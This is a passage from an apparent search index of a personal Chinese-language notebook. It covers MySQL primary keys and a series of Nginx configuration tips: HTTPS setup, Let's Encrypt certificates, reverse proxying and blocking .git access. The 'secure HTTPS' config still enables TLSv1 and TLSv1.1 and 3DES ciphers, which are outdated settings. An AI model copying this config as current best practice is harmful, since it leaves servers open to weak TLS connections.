id\\u4f5c\\u4e3a\\u4e3b\\u952e\\uff0c\\u4f46\\u9012\\u589e\\u9700\\u8981\\u5168\\u5c40\\u9501<code>dict_sys-&gt;mutex</code>\\u2014\\u2014\\u591a\\u4e2a\\u8868\\u540c\\u65f6\\u63d2\\u5165\\u65f6\\u6027\\u80fd\\u4e0b\\u964d</p> <p>\\u5728binlog\\u4e2d\\u5220\\u9664\\u64cd\\u4f5c\\u6709\\u4e3b\\u952e\\u53ea\\u9700\\u8981\\u8bb0\\u5f55\\u4e3b\\u952e\\uff0c\\u6ca1\\u6709\\u4e3b\\u952e\\u9700\\u8981\\u8bb0\\u5f55\\u6240\\u6709\\u5185\\u5bb9\\u2014\\u2014binlog\\u66f4\\u5927</p> <p>\\u4ece\\u673a\\u6267\\u884cbinlog\\u4e2d\\u7684delete\\u64cd\\u4f5c\\uff0c\\u6bcf\\u6b21\\u64cd\\u4f5c\\u90fd\\u9700\\u8981\\u626b\\u63cf\\u5168\\u8868\\u2014\\u2014\\u6027\\u80fd\\u663e\\u8457\\u4e0b\\u964d</p> <p>\\u96c6\\u7fa4\\u5982Galera\\u9700\\u8981\\u7b49\\u5f85\\u6240\\u6709\\u8282\\u70b9commit\\u624d\\u4f1a\\u7ed9\\u5ba2\\u6237\\u7aef\\u8fd4\\u56de\\u6210\\u529f\\u2014\\u2014\\u7528\\u6237\\u611f\\u53d7\\u5230\\u5f88\\u9ad8\\u7684\\u5ef6\\u8fdf</p>\"},{\"location\":\"Nginx/\",\"title\":\"Nginx\",\"text\":\"<p>\\u8bb0\\u5f55\\u7528\\u5230\\u7684\\u914d\\u7f6e\\uff0c\\u8bf4\\u4e0d\\u5b9a\\u4f60\\u4e5f\\u80fd\\u9047\\u5230\\u8fd9\\u4e9b\\u7279\\u6b8a\\u9700\\u6c42\\u5462~</p>\"},{\"location\":\"Nginx/#nginx_1\",\"title\":\"Nginx\\u601d\\u8003\\u9898\",\"text\":\"<p>\\u8bf7\\u4ee5\\u6279\\u5224\\u7684\\u773c\\u5149\\u9605\\u8bfb\\u4ee5\\u4e0b\\u94fe\\u63a5\\u6216\\u8005\\u81ea\\u884cgoogle\\uff0c\\u56de\\u7b54\\u4ee5\\u4e0b\\u95ee\\u9898\\uff1a</p> <p>http://www.nginx.cn/591.html</p> <ol> <li> <p>nginx.conf\\u5728\\u4f60Linux\\u7684\\u4ec0\\u4e48\\u76ee\\u5f55\\u4e0b\\uff1f\\u7528\\u4ec0\\u4e48\\u547d\\u4ee4\\u77e5\\u9053\\u7684\\uff1f\\u4fee\\u6539\\u914d\\u7f6e\\u540e\\u901a\\u8fc7\\u4ec0\\u4e48\\u547d\\u4ee4\\u91cd\\u65b0\\u8f7d\\u5165\\u914d\\u7f6e\\uff1f</p> </li> <li> <p>nginx.conf\\u5206\\u4e3a\\u51e0\\u4e2a\\u90e8\\u5206\\uff1f\\u6211\\u4eec\\u9700\\u8981\\u5173\\u6ce8\\u7684\\u662f\\u54ea\\u4e2a\\uff1f</p> </li> <li> <p>nginx.conf\\u4e2d\\u600e\\u4e48\\u8868\\u793a\\u6ce8\\u91ca\\u884c\\uff1f\\u662f\\u5426\\u7559\\u610f\\u5230include\\u7684\\u884c\\u8f7d\\u5165\\u4e86\\u989d\\u5916\\u7684\\u914d\\u7f6e\\u6587\\u4ef6\\uff1f</p> </li> <li> <p>\\u5982\\u4f55\\u589e\\u52a0\\u4e00\\u4e2a\\u865a\\u62df\\u4e3b\\u673a\\uff0c\\u6839\\u636e\\u57df\\u540d\\u6765\\u533a\\u5206\\u8bbf\\u95ee\\u4e0d\\u540c\\u7684\\u7f51\\u7ad9\\uff1f\\u8bbf\\u95ee\\u8005\\u76f4\\u63a5\\u8bbf\\u95eeIP\\u6216\\u8005\\u9519\\u8bef\\u7684\\u57df\\u540d\\u4f1a\\u5339\\u914d\\u5230\\u9ed8\\u8ba4\\u7f51\\u7ad9\\uff0c\\u600e\\u4e48\\u914d\\u7f6e\\u9ed8\\u8ba4\\u7f51\\u7ad9\\uff1f</p> </li> </ol> <p>\\u8fd9\\u4e9b\\u662f\\u66f4\\u4e3a\\u8fdb\\u9636/\\u53d1\\u6563\\u7684\\u95ee\\u9898\\uff1a</p> <ol> <li> <p>\\u9759\\u6001\\u5185\\u5bb9\\uff1aroot\\u4e0ealias\\u6709\\u4f55\\u533a\\u522b\\uff1f\\u8bbf\\u95ee403\\u4e86\\u600e\\u4e48\\u529e\\uff1f</p> </li> <li> <p>\\u52a8\\u6001\\u5185\\u5bb9/\\u53cd\\u5411\\u4ee3\\u7406\\uff1a\\u5982\\u4f55\\u505a\\u8d1f\\u8f7d\\u5747\\u8861\\u3001\\u6587\\u672c\\u66ff\\u6362\\uff1f</p> </li> <li> <p>\\u5168\\u7ad9https\\u548cHTTP/2.0\\u600e\\u4e48\\u914d\\u7f6e\\uff1f</p> </li> <li> <p>Nginx\\u662f\\u5426\\u6709\\u5fc5\\u8981\\u4f5c\\u4e3a\\u4e00\\u4e2aDocker\\u5bb9\\u5668\\u8fd0\\u884c\\uff1fCentOS\\u4e0bNginx\\u955c\\u50cf\\u5f88\\u5927\\uff0c\\u600e\\u4e48\\u51cf\\u5c0f\\u955c\\u50cf\\u5927\\u5c0f\\uff1f</p> </li> <li> <p>Nginx\\u7684worker\\u8fdb\\u7a0b\\u4e00\\u822c\\u4e0d\\u662froot\\u6743\\u9650\\u7684\\uff0c\\u90a3\\u662f\\u600e\\u4e48\\u76d1\\u542c\\u523080\\u7aef\\u53e3\\u7684\\uff1f</p> </li> <li> <p>Nginx\\u5728\\u5904\\u7406\\u9ad8\\u5e76\\u53d1\\u7684\\u65f6\\u5019\\u53c2\\u6570\\u5982\\u4f55\\u8c03\\u4f18\\uff1f</p> </li> <li> <p>\\u5982\\u4f55\\u5728Nginx\\u5c42\\u9762\\u62e6\\u622asql\\u6ce8\\u5165\\u3001\\u5bc6\\u7801\\u7206\\u7834\\u7b49\\u5b89\\u5168\\u98ce\\u9669\\uff1fVeryNginx</p> </li> </ol>\"},{\"location\":\"Nginx/#post\",\"title\":\"\\u666e\\u901a\\u8d44\\u6e90\\u5141\\u8bb8POST\",\"text\":\"<pre><code>error_page 405 =200 @405;\\n</code></pre>\"},{\"location\":\"Nginx/#php\",\"title\":\"\\u4e0d\\u5e26\\u540e\\u7f00\\u7684\\u6587\\u4ef6\\u5f53\\u6210php\\u6267\\u884c\",\"text\":\"<p>\\u8fd9\\u91cc\\u7684\\u601d\\u8def\\u662f\\u7528\\u53cd\\u5411\\u4ee3\\u7406\\u7684\\u65b9\\u5f0f\\u7b80\\u5355\\u5b9e\\u73b0</p> <pre><code>location /path/something {\\nproxy_pass http://yourdomain/path/something.php;\\nproxy_method GET;\\n}\\n</code></pre> <p>\\u987a\\u5e26\\u62d2\\u7edd\\u6389\\u5bf9php\\u540e\\u7f00\\u7684\\u731c\\u6d4b\\uff1a</p> <pre><code>location = /path/something.php {\\n    if ($remote_addr != '\\u670d\\u52a1\\u5668\\u81ea\\u8eabIP') {\\n        return 404;\\n}\\n    include fastcgi.conf;\\n}\\n</code></pre>\"},{\"location\":\"Nginx/#httphttps\",\"title\":\"http\\u8df3\\u8f6c\\u5230https\",\"text\":\"<pre><code>location /{\\nrewrite ^ https://$host$request_uri? permanent;\\n}\\n</code></pre>\"},{\"location\":\"Nginx/#lets-encrypthttps\",\"title\":\"\\u83b7\\u5f97Let\\u2019s encrypt\\u514d\\u8d39https\\u8bc1\\u4e66\",\"text\":\"<p>\\u4e3a\\u7b80\\u5316\\u64cd\\u4f5c\\uff0c\\u6211\\u5199\\u4e86\\u4e00\\u4e2a\\u66f4\\u52a0\\u65b9\\u4fbf\\u7684getcert.py</p>\"},{\"location\":\"Nginx/#_1\",\"title\":\"\\u4f7f\\u7528\\u65b9\\u6cd5\\uff1a\",\"text\":\"\"},{\"location\":\"Nginx/#_2\",\"title\":\"\\u7b2c\\u4e00\\u6b65\\uff1a\",\"text\":\"<p>\\u914d\\u7f6e\\u76f8\\u5e94\\u7f51\\u7ad9\\u7684nginx conf\\u4e2d\\u7684server\\u91cc\\u9762\\uff0c\\u52a0\\u5165\\u8fd9\\u4e2a\\uff1a</p> <pre><code>    location /.well-known/acme-challenge {\\n        alias \\u4fdd\\u5b58\\u5bc6\\u94a5\\u7684\\u76ee\\u5f55;\\n        try_files $uri =404;\\n    }\\n</code></pre> <p>\\u8bb0\\u5f97\\u8fd0\\u884c\\u540e <code>nginx -s reload</code></p>\"},{\"location\":\"Nginx/#getcertpy\",\"title\":\"\\u7b2c\\u4e8c\\u6b65\\uff0c\\u8fd0\\u884c\\u6211\\u7684getcert.py\\uff08\\u521b\\u5efa\\u79c1\\u94a5\\u5e76\\u63d0\\u4ea4\\u7533\\u8bf7\\uff09\\uff1a\",\"text\":\"<pre><code>pushd \\u4e0a\\u8ff0\\u4fdd\\u5b58\\u5bc6\\u94a5\\u7684\\u76ee\\u5f55\\nwget https://raw.githubusercontent.com/zjuchenyuan/notebook/master/code/getcert.py\\n./getcert.py \\u6587\\u4ef6\\u540d\\u79f0 \\u8be5\\u8bc1\\u4e66\\u5305\\u542b\\u7684\\u57df\\u540d\\u5217\\u8868\\n</code></pre> <p>\\u4f8b\\u5982\\u8fd9\\u6837\\u5c31\\u80fd\\u83b7\\u5f97\\u4e00\\u5f20\\u6db5\\u76d6zjusec.com\\u4e09\\u4e2a\\u5b50\\u57df\\u540d\\u7684\\u8bc1\\u4e66\\uff1a<code>./getcert.py zjusec zjusec.com,www.zjusec.com,web.zjusec.com</code></p> <p>\\u5177\\u4f53\\u6765\\u8bf4\\uff0c\\u8fd9\\u4e2a\\u811a\\u672c\\u4f1a\\u81ea\\u52a8\\u4e0b\\u8f7d\\u9700\\u8981\\u7684acme_tiny.py\\u548cLet\\u2019s Encrypt\\u7684\\u4e2d\\u95f4\\u8bc1\\u4e66\\uff0c\\u8c03\\u7528openssl\\u521b\\u5efa\\u8d26\\u53f7\\u79c1\\u94a5\\u548c\\u7ad9\\u70b9\\u79c1\\u94a5\\uff0c\\u6700\\u7ec8\\u4ea7\\u751f \\u540d\\u79f0.crt \\u540d\\u79f0.key\\u3002</p> <p></p>\"},{\"location\":\"Nginx/#acmesh\",\"title\":\"\\u4f7f\\u7528acme.sh\\u83b7\\u5f97\\u6cdb\\u57df\\u540d\\u8bc1\\u4e66\",\"text\":\"<p>\\u6cdb\\u57df\\u540d\\u89e3\\u6790\\u9700\\u8981\\u4f7f\\u7528DNS\\u9a8c\\u8bc1\\uff0c\\u5c31\\u9700\\u8981\\u4f7f\\u7528DNS\\u670d\\u52a1\\u7684API\\uff0c\\u5373\\u4f7f\\u6ca1\\u6709API\\u53ea\\u8981\\u914d\\u7f6e\\u4e00\\u6761CNAME\\u6307\\u5411\\u4e00\\u4e2a\\u6709DNS API\\u7684\\u57df\\u540d\\u5373\\u53ef</p> <p>\\u9996\\u5148\\u83b7\\u5f97acme.sh</p> <p>git clone https://github.com/Neilpang/acme.sh</p> <p>\\u7136\\u540e\\u62ff\\u5230cloudflare\\u7684API Key\\uff0c\\u6258\\u7ba1b.com</p> <p>\\u9700\\u8981\\u62ff\\u5230\\u80fd\\u7528\\u4e8ea.com\\u548c*.a.com\\u7684\\u8bc1\\u4e66\\uff0c\\u5148\\u914d\\u7f6eCNAME\\uff08\\u53c2\\u8003\\uff1ahttps://github.com/Neilpang/acme.sh/wiki/DNS-alias-mode\\uff09</p> <p>_acme-challenge.a.com   =&gt;   _acme-challenge.b.com</p> <p>\\u6267\\u884c\\u547d\\u4ee4\\u54af\\uff1a</p> <pre><code>CF_Key=xxx CF_Email=xxx@example.com /root/acme.sh/acme.sh --issue --dns dns_cf -d '*.a.com' --challenge-alias b.com -d a.com --dnssleep 10 --fullchain-file /root/acom.crt --key-file /root/acom.key -f\\n</code></pre> <p>\\u89e3\\u91ca\\uff1a\\u524d\\u9762\\u4e24\\u4e2a\\u662f\\u914d\\u7f6e\\u73af\\u5883\\u53d8\\u91cf\\uff0c\\u4f7f\\u7528cloudflare\\u6240\\u4ee5\\u6307\\u5b9a\\u2013dns dns_cf\\uff0c\\u7136\\u540e-d \\u2026 \\u2013challenge-alias \\u2026 -d \\u2026 \\u6307\\u5b9a\\u57df\\u540d\\u548c\\u9a8c\\u8bc1\\u7528\\u7684\\u57df\\u540d\\uff0c\\u2013dnssleep 10\\u7b49\\u5f8510\\u79d2DNS\\u751f\\u6548\\uff08\\u9ed8\\u8ba4120\\u79d2\\u6ca1\\u5fc5\\u8981\\uff09\\uff0c\\u2013fullchain-file\\u548c\\u2013key-file \\u6307\\u5b9a\\u751f\\u6210\\u540e\\u628a\\u8bc1\\u4e66\\u6587\\u4ef6\\u548c\\u5bc6\\u94a5\\u6587\\u4ef6\\u62f7\\u8d1d\\u5230\\u54ea</p>\"},{\"location\":\"Nginx/#https\",\"title\":\"\\u914d\\u7f6e\\u5b89\\u5168\\u7684https\",\"text\":\"<p>\\u6b64\\u5904\\u53c2\\u8003https://z.codes/ssl-lab-a-plus-configuration-for-nginx/</p> <p>\\u9996\\u5148\\u4ecePPA\\u5b89\\u88c5nginx, \\u8fd9\\u6837\\u53ef\\u4ee5\\u4fdd\\u8bc1\\u6700\\u65b0\\u7248</p> <pre><code>add-apt-repository ppa:nginx/stable\\napt update\\napt install nginx\\n</code></pre> <p>\\u521b\\u5efaDH\\u968f\\u673a\\u8d28\\u6570\\uff1a</p> <pre><code>openssl dhparam -out /etc/ssl/dhparams.pem 2048\\n</code></pre> <p>\\u521b\\u5efa/etc/nginx/https.conf\\uff1a</p> <pre><code>listen 443 ssl http2;\\nadd_header Strict-Transport-Security \\\"max-age=31536000\\\" always;\\nadd_header Upgrade-Insecure-Requests \\\"1\\\";\\nadd_header Content-Security-Policy \\\"upgrade-insecure-requests\\\";\\nssl_dhparam /etc/ssl/dhparams.pem;\\nssl_stapling on;\\nssl_stapling_verify on;\\nresolver 8.8.8.8 8.8.4.4 114.114.114.114 valid=60s;\\nresolver_timeout 2s;\\nssl_protocols TLSv1 TLSv1.1 TLSv1.2;\\nssl_ciphers 'ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-AES256-GCM-SHA384:DHE-RSA-AES128-GCM-SHA256:DHE-DSS-AES128-GCM-SHA256:kEDH+AESGCM:ECDHE-RSA-AES128-SHA256:ECDHE-ECDSA-AES128-SHA256:ECDHE-RSA-AES128-SHA:ECDHE-ECDSA-AES128-SHA:ECDHE-RSA-AES256-SHA384:ECDHE-ECDSA-AES256-SHA384:ECDHE-RSA-AES256-SHA:ECDHE-ECDSA-AES256-SHA:DHE-RSA-AES128-SHA256:DHE-RSA-AES128-SHA:DHE-DSS-AES128-SHA256:DHE-RSA-AES256-SHA256:DHE-DSS-AES256-SHA:DHE-RSA-AES256-SHA:AES128-GCM-SHA256:AES256-GCM-SHA384:AES128-SHA256:AES256-SHA256:AES128-SHA:AES256-SHA:AES:CAMELLIA:DES-CBC3-SHA:!aNULL:!eNULL:!EXPORT:!DES:!RC4:!MD5:!PSK:!aECDH:!EDH-DSS-DES-CBC3-SHA:!EDH-RSA-DES-CBC3-SHA:!KRB5-DES-CBC3-SHA';\\nssl_session_cache shared:SSL:10m;\\nssl_session_timeout 24h;\\nssl_buffer_size 1400;\\nssl_prefer_server_ciphers  on;\\nkeepalive_timeout 600s;\\nlocation ~* /\\\\.(?!well-known\\\\/) {\\ndeny all;\\n}\\nlocation ~* (?:\\\\.(?:bak|conf|dist|fla|in[ci]|log|psd|sh|sql|sw[op])|~)$ {\\ndeny all;\\n}\\ninclude mime.types;\\n</code></pre> <p>\\u4e3a\\u9700\\u8981\\u542f\\u7528https\\u7684\\u7ad9\\u70b9\\uff0c\\u5728/etc/nginx/sites-enabled/\\u4e2d\\u5199\\u5165conf\\u6587\\u4ef6</p> <pre><code>server {\\n    listen 443;\\nserver_name \\u57df\\u540d1 \\u57df\\u540d2;\\naccess_log /tmp/access.log;\\nerror_log /tmp/error.log;\\nssl_certificate \\u5bc6\\u94a5\\u76ee\\u5f55/\\u540d\\u79f0.crt;\\nssl_certificate_key \\u5bc6\\u94a5\\u76ee\\u5f55/\\u540d\\u79f0.key;\\ninclude https.conf\\n\\u5176\\u4ed6\\u914d\\u7f6e\\u3002\\u3002\\u3002\\n}\\n</code></pre>\"},{\"location\":\"Nginx/#js\",\"title\":\"\\u53cd\\u5411\\u4ee3\\u7406\\u4e4b\\u66ff\\u6362\\u7f51\\u9875\\u3001JS\\u4e2d\\u7684\\u6587\\u672c\",\"text\":\"<p>\\u4f7f\\u7528\\u6a21\\u5757ngx_http_substitutions_filter_module\\uff0c\\u89c1Github: https://github.com/yaoweibin/ngx_http_substitutions_filter_module</p> <p>\\u9700\\u8981\\u91cd\\u65b0\\u7f16\\u8bd1nginx\\uff0cTip: <code>nginx -V</code>\\u547d\\u4ee4\\u53ef\\u4ee5\\u663e\\u793a\\u5f53\\u524d\\u7248\\u672c\\u7684nginx\\u7684\\u7f16\\u8bd1\\u53c2\\u6570</p> <p>\\u7f16\\u8bd1\\u540e\\u5c31\\u53ef\\u4ee5\\u7528\\u5566\\uff0c\\u4e3e\\u4e2a\\u4f8b\\u5b50\\uff1a\\u5fae\\u4fe1\\u7684\\u516c\\u4f17\\u53f7\\u6587\\u7ae0\\u9875\\u9762\\u4e3a\\u4e86\\u8282\\u7701\\u7528\\u6237\\u6d41\\u91cf\\uff0c\\u56fe\\u7247\\u662f\\u628a\\u9875\\u9762\\u6eda\\u52a8\\u81f3\\u6240\\u5728\\u4f4d\\u7f6e\\u624d\\u52a0\\u8f7d\\u7684\\uff0c\\u4ee3\\u7801\\u4e0a\\u7684\\u5dee\\u5f02\\u5c31\\u662fimg\\u6807\\u7b7e\\u672c\\u5e94\\u662fsrc\\u7684\\u6539\\u6210\\u4e86data-src\\uff0c\\u8fd9\\u91cc\\u6211\\u4eec\\u8981\\u505a\\u4e00\\u4e2a\\u5fae\\u4fe1\\u7684\\u53cd\\u5411\\u4ee3\\u7406\\u7f51\\u7ad9\\uff0c\\u628adata-src\\u66ff\\u6362\\u6210src\\uff0c\\u5219\\u53ef\\u4ee5\\u76f4\\u63a5\\u52a0\\u8f7d\\u6240\\u6709\\u56fe\\u7247\\uff08\\u5514\\u3002\\u3002\\u3002\\u5176\\u5b9e\\u8fd8\\u4e0d\\u591f\\uff0c\\u8fd8\\u9700\\u8981\\u8003\\u8651\\u9632\\u76d7\\u94fe\\u7684\\u95ee\\u9898\\uff09\\uff1b\\u5e76\\u4e14\\u8bbe\\u7f6eMIME\\u7c7b\\u578b\\u5305\\u542bJavascript</p> <pre><code>        subs_filter \\u9700\\u8981\\u66ff\\u6362\\u6389\\u7684\\u5185\\u5bb9 \\u66ff\\u6362\\u540e\\u7684\\u6587\\u672c;\\n        subs_filter data-src src;\\n        subs_filter_types application/x-javascript text/javascript appliation/x-javascript;\\n</code></pre>\"},{\"location\":\"Nginx/#git\",\"title\":\"\\u7981\\u6b62git\\u76ee\\u5f55\\u8bbf\\u95ee\",\"text\":\"<p>\\u5728server\\u5757\\u4e2d\\u6dfb\\u52a0\\uff1a</p> <pre><code>location ~ /\\\\. {\\n    return 404;\\n}\\n</code></pre> <p>\\u76f8\\u5e94\\u7684Apache\\u53ef\\u4ee5\\u5728httpd.conf\\u4e2d\\u6dfb\\u52a0\\uff1a</p> <pre><code>RedirectMatch 404 /\\\\.git\\n</code></pre>\"},{\"location\":\"Nginx/#rootalias\",\"title\":\"root\\u4e0ealias\\u7684\\u533a\\u522b\",\"text\":\"<p>From: http://stackoverflow.com/questions/10631933/nginx-static-file-serving-confusion-with-root-alias</p> <p>\\u4e00\\u53e5\\u8bdd\\u6982\\u62ec\\uff0croot\\u5bf9\\u5e94\\u7684\\u76ee\\u5f55\\u4f1a\\u52a0\\u4e0alocation\\u90e8\\u5206\\u53bb\\u627e\\u6587\\u4ef6\\uff0c\\u800calias\\u5219\\u4e0d\\u4f1a</p> <pre><code>        location /static/ {\\nroot /var/www/app/static/;\\nautoindex off;\\n}\\n</code></pre> <p>\\u5982\\u679c\\u6211\\u4eec\\u8fd9\\u4e48\\u5199\\uff0c\\u90a3\\u4e48\\u8bbf\\u95eestatic\\u76ee\\u5f55\\u4e0b\\u7684a.jpg\\u5c31\\u4f1a\\u53bb\\u627e/var/www/app/static/static\\u76ee\\u5f55\\u4e0b\\u7684a.jpg\\uff0c\\u5982\\u679c\\u6ca1\\u6709\\u8fd9\\u4e2astatic/static\\u5c31\\u4f1a404</p> <p>\\u89e3\\u51b3\\u65b9\\u6cd5\\u6709\\u4e24\\u79cd\\uff1a</p> <p>\\u5982\\u679clocation\\u4e2d\\u7684static\\u5c31\\u662f\\u771f\\u5b9e\\u76ee\\u5f55\\uff0croot\\u4e2d\\u5c31\\u4e0d\\u8981\\u5199static\\u4e86</p> <pre><code>        location /static/ {\\nroot /var/www/app/;\\nautoindex off;\\n}\\n</code></pre> <p>\\u6216\\u8005\\u7528alias\\u5c31\\u4e0d\\u4f1a\\u518d\\u52a0\\u4e0alocation\\u7684\\u90e8\\u5206\\uff1a</p> <pre><code>        location /static/ {\\nalias /var/www/app/static/;\\nautoindex off;\\n}\\n</code></pre>\"},{\"location\":\"Nginx/#bash-on-win10nginx\",\"title\":\"\\u5728bash on win10\\u4e0a\\u4f7f\\u7528Nginx\",\"text\":\"<p>\\u4e0eLinux\\u4e2d\\u5b89\\u88c5\\u7c7b\\u4f3c\\uff0c\\u53ea\\u8981<code>apt-get install nginx</code>\\u5373\\u53ef\\uff0c\\u4f46\\u53ef\\u80fd\\u4f1a\\u53d1\\u73b0nginx\\u5e76\\u4e0d\\u6b63\\u5e38\\u5de5\\u4f5c\\uff0c\\u65e5\\u5fd7\\u4e2d\\u662f\\u8fd9\\u6837\\u7684\\uff1a</p> <pre><code>[alert] 79#0: ioctl(FIOASYNC) failed while spawning \\\"worker process\\\" (22: Invalid argument)\\n</code></pre> <p>\\u89e3\\u51b3\\u65b9\\u6848\\uff1a\\u5728/etc/nginx/nginx.conf\\u4e2d\\u6dfb\\u52a0\\u4e00\\u884c\\uff1a</p> <pre><code>master_process off;\\n</code></pre>\"},{\"location\":\"Nginx/#ip\",\"title\":\"\\u4f7f\\u4e0a\\u4e00\\u7ea7\\u670d\\u52a1\\u77e5\\u9053\\u7528\\u6237IP\",\"text\":\"<pre><code>proxy_set_header realip $remote_addr;\\n</code></pre> <p>\\u8fd9\\u6837\\u8bbe\\u7f6e\\u540e\\uff0cNginx\\u53cd\\u5411\\u4ee3\\u7406\\u4e0a\\u4e00\\u7ea7\\u670d\\u52a1\\u4f1a\\u52a0\\u4e0arealip\\u8fd9\\u4e2a\\u5934\\uff0c\\u4ece\\u800c\\u4f20\\u9012\\u7528\\u6237\\u771f\\u5b9e\\u7684IP\\uff08\\u5982\\u679c\\u662f\\u4ee3\\u7406\\u5219\\u662f\\u4ee3\\u7406\\u7684IP\\uff09</p>\"},{\"location\":\"Nginx/#nginx_2\",\"title\":\"Nginx\\u5141\\u8bb8\\u5217\\u76ee\\u5f55\",\"text\":\"<p>\\u52a0\\u4e0a<code>autoindex on</code>\\u5373\\u53ef\\uff0c\\u540e\\u4e24\\u9879\\u662f\\u4e3a\\u4e86 \\u663e\\u793a\\u670d\\u52a1\\u5668\\u65f6\\u95f4\\u800c\\u4e0d\\u662fGMT\\u65f6\\u95f4 \\u4ee5\\u53ca \\u4ee5kB,MB,GB\\u4e3a\\u5355\\u4f4d\\u663e\\u793a\\u5927\\u5c0f\\u800c\\u4e0d\\u662f\\u786e\\u5207\\u7684\\u5b57\\u8282\\u6570</p> <pre><code>location / {\\n    autoindex on;\\n    autoindex_localtime on;\\n    autoindex_exact_size off;\\n}\\n</code></pre>\"},{\"location\":\"Nginx/#seaweedfs\",\"title\":\"\\u5b89\\u5168\\u5730\\u4f7f\\u7528SeaweedFS\\u4f5c\\u4e3a\\u56fe\\u7247\\u53cd\\u5411\\u4ee3\\u7406\\u670d\\u52a1\\u5668\",\"text\":\"<p>\\u60f3\\u57fa\\u4e8eseaweedfs\\u5b9e\\u73b0\\u4e00\\u4e2a\\u53cd\\u5411\\u4ee3\\u7406\\u7684\\u7f13\\u5b58\\u670d\\u52a1\\u5668\\uff0cNginx\\u5148\\u8bf7\\u6c42A\\u670d\\u52a1\\u5668(weedfs filer)\\uff0c\\u5982\\u679c\\u8fd8\\u6ca1\\u6709\\u5b58\\u4e0b\\u8fd9\\u5f20\\u56fe\\u7247(\\u8fd4\\u56de404)\\uff0c\\u5207\\u81f3B\\u670d\\u52a1\\u5668(Python flask)\\u53bb\\u722c\\u53d6\\u56fe\\u7247\\u5e76\\u4f20\\u81f3weedfs\\u5b58\\u50a8</p> <p>seaweedfs\\u7684filer\\u63d0\\u4f9b\\u4e86\\u6309\\u81ea\\u5df1\\u6307\\u5b9a\\u7684\\u8def\\u5f84\\u4e0a\\u4f20\\u4e0b\\u8f7d\\u529f\\u80fd\\uff08\\u5bf9\\u8c61\\u5b58\\u50a8\\uff09\\uff0c\\u5c31\\u4e0d\\u9700\\u8981\\u518d\\u81ea\\u5df1\\u8003\\u8651\\u600e\\u4e48\\u5b58\\u50a8path\\u4e0efid\\u7684\\u5bf9\\u5e94\\u5173\\u7cfb\\u4e86\\uff0c\\u76f4\\u63a5\\u6309\\u722c\\u53d6\\u6e90\\u7684\\u8def\\u5f84\\u5b58\\u50a8\\u5373\\u53ef</p> <p>\\u5b9e\\u73b0\\uff1a</p>\"},{\"location\":\"Nginx/#nginx_3\",\"title\":\"Nginx\\u914d\\u7f6e\",\"text\":\"\"},{\"location\":\"Nginx/#httpupstream\",\"title\":\"\\u5728http\\u6bb5\\u4e2d\\u6dfb\\u52a0upstream\",\"text\":\"<p>\\u6ce8\\u610f\\u628aB\\u670d\\u52a1\\u5668\\u8bbe\\u7f6e\\u4e3abackup \\u4e0d\\u8981\\u53c2\\u4e0e\\u9ed8\\u8ba4\\u8d1f\\u8f7d\\u5747\\u8861</p> <pre><code>upstream up {\\nserver weedfs:8888;\\nserver 127.0.0.1:80 backup;\\n}\\n</code></pre>\"},{\"location\":\"Nginx/#server\",\"title\":\"server\\u6bb5\\u914d\\u7f6e\",\"text\":\"<p>\\u6211\\u5e0c\\u671b\\u8bbf\\u95ee<code>/images/hhh.jpg</code>\\u5b9e\\u9645\\u8bbf\\u95ee<code>http://weedfs:8888/my_images/hhh.jpg</code></p> <p>\\u5173\\u952e\\u5c31\\u662f<code>proxy_next_upstream</code></p> <pre><code>location /images/ {\\nrewrite ^/images(/.*)$ /my_images$1 break;\\nproxy_pass http://up;\\nproxy_next_upstream http_404;\\nproxy_hide_header Content-Type;\\nadd_header Content-Type image/jpeg;\\nlimit_except GET {\\ndeny all;\\n}\\n}\\n</code></pre> <p>\\u5728seaweedfs\\u8fd4\\u56de404\\u7684\\u65f6\\u5019\\u4f1a\\u7ee7\\u7eed\\u8bf7\\u6c42<code>http://127.0.0.1/my_images/hhh.jpg</code></p> <p>\\u8fd9\\u79cdrewrite\\u662f\\u4e0d\\u4f1a\\u4fee\\u6539POST\\u7684url\\u7684\\u3002\\u3002\\u3002\\u5c31\\u5f88\\u8ff7\\uff0c\\u53e6\\u5916\\u5141\\u8bb8\\u7528\\u6237POST\\u4e0a\\u4f20\\u4e5f\\u662f\\u4e0d\\u5b89\\u5168\\u7684\\uff0c\\u8fd9\\u91cc\\u5c31\\u76f4\\u63a5\\u7981\\u6b62\\u4e86\\u975eGET\\u65b9\\u6cd5</p>\"},{\"location\":\"Nginx/#header\",\"title\":\"\\u4fee\\u6539\\u540e\\u7aef\\u7279\\u5b9aheader\",\"text\":\"<p>\\u8fd9\\u91cc\\u7528\\u7684\\u662f\\u5148\\u5220\\u9664<code>proxy_hide_header</code>\\u518d\\u6dfb\\u52a0<code>add_header</code></p>\"},{\"location\":\"Nginx/#nginxseaweedfs\",\"title\":\"\\u6211\\u8fd8\\u662f\\u60f3\\u8ba9nginx\\u4e5f\\u80fd\\u652f\\u6301\\u7ed9seaweedfs\\u4e0a\\u4f20\\u6587\\u4ef6\",\"text\":\"<p>\\u4e0d\\u8981\\u6b7b\\u78d5\\u4e00\\u4e2alocation\\u561b\\uff0c\\u518d\\u914d\\u7f6e\\u4e2a\\u5457\\uff1a</p> <pre><code>location /upload_images/ {\\nrewrite ^/upload_images(/.*)$ $1 break;\\nresolver 127.0.0.11 valid=10s;\\nproxy_pass http://weedfs:8888/my_images$1;\\nallow 127.0.0.0/8;\\ndeny all;\\n}\\n</code></pre> <p>\\u8fd9\\u6837\\u914d\\u7f6e\\u7684\\u6548\\u679c\\u662fPOST <code>/upload_images/</code>\\u76f8\\u5f53\\u4e8e\\u5728POST <code>http://weedfs:8888/my_images/</code></p> 